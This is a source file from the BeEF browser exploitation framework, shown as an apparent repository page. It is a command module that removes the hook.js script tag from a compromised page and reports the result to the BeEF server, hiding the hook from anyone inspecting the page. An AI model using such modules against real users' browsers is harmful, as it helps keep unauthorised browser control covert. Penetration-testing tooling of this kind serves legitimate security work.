Path: blob/master/modules/browser/remove_hook_element/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78/**9* Removes the BeEF hook.js10* @return: true if the hook.js script is removed from the DOM11*/12var removeHookElem = function() {13var removedFrames = $j('script[src*="'+beef.net.hook+'"]').remove();14if (removedFrames.length > 0) {15return true;16} else {17return false;18}19}2021if (removeHookElem() == true) {22beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=successfully removed the hook script element");23} else {24beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=something did not work");25}2627});28293031